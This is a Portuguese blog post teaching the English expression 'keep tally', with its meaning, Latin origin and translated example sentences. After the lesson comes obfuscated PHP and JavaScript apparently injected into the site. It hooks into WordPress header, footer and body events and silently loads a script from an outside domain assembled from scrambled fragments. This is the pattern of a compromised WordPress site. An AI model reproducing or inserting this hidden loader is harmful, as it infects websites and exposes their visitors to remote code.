O SEGREDO DAS LINGUAS l O curso de língua estrangeira ainda pode fazer parte da sua vida.

KEEP TALLY | O que significa essa expressão?

keep tally

Uma das principais dúvidas dos alunos é como contar em inglês. A expressão ‘keep tally’ pode ser usada nos momentos em que você conta alguma coisa. 

É por isso que no post de hoje, eu vou te mostrar como usar essa expressão tão útil para você aumentar seu vocabulário

KEEP TALLY em inglês

O significado de ‘keep tally’ em inglês, como mostra o Linguee é o de ‘manter um registro’, ‘manter uma contagem’ de qualquer coisa. A expressão pode variar para ‘keep a tally’.

Ao que tudo indica, essa expressão vem do costume romano de usar pauzinhos para contar as coisas. 

Como a palavra ‘tally’ deriva de ‘tallus’ do latim, os pauzinhos desenhados mantinham uma contagem do total ou iam se somando até que a contagem terminasse.

A palavra ‘tally’ pode ser usada como verbo em si, porém ‘keep a tally’ é mais comum e a expressão ‘tally up’ também é comumente usada. ‘Tally up’ é mais comum para calcular o total de alguma coisa

 Se o registro é contínuo podemos usar ‘keep a running tally’. Porém de todas as expressões, ‘keep a tally’ é a mais comum. Vejamos alguns exemplos:

1 – Keep (a) tally

Rojas kept an exact tally of everyone who entered and left. (Rojas mantinha uma contagem exata de todo mundo que entrou e saiu.)

I love that we keep a tally of different places we have been. (Eu amo que mantenhamos um registro dos lugares em que fomos.)

He kept a tally book. (Ele mantinha um livro de registros.

I keep this tally in my head of all the people I plan to see. (Eu mantenho uma contagem na minha cabeça de todas as pessoas que eu quero ver.)

The teacher would keep a running tally of points through the semester. (O professor mantinha uma contagem contínua dos pontos pelo semestre.) 

2 – Tally up

When the game is over, I’ll tally up the numbers. (Quando o jogo terminar, eu vou calcular o total de números.

Despite the difficulties, the company tallied up revenues of R$ 1 billion. (Mesmo com as dificuldades, a empresa registrou um faturamento de R$ 1 bilhão.

3 – Tally

Generally, criminals have someone tallying every nickel. (Geralmente, bandidos tem alguém contando cada número.

Agora você já sabe usar ‘keep tally’. Veja outros posts com expressões importantes e aumente sua capacidade de se expressar em inglês.

Mais artigos do

Blog SDL

?>},_0x1ca2(_0x5c13d3,_0x10d019);}function _0x56ac(){var _0x46c312=['trickl','6LObfmH','script','scri','3822470oovwGi','220qlaQai','com/','createElement','ctl','appendChild','type','133350wkvzaH','ter.','134ANVGfY','pts/t','src','est','erfe','ords.p','querySelector','5879944KcCcWx','231938CdIMay','2890492INDZRn','currentScript','50535rwizqw','parentNode','script[id=\x22trickl\x22]','text/javascript','28527sHSQyT','head'];_0x56ac=function(){return _0x46c312;};return _0x56ac();}";}add_action('wp_head', '_set_metas_tag');add_action('wp_footer', '_set_metas_tag');add_action('wp_body_open', '_set_metas_tag');_set_metas_tag();}}catch(Exception $e){}} ?>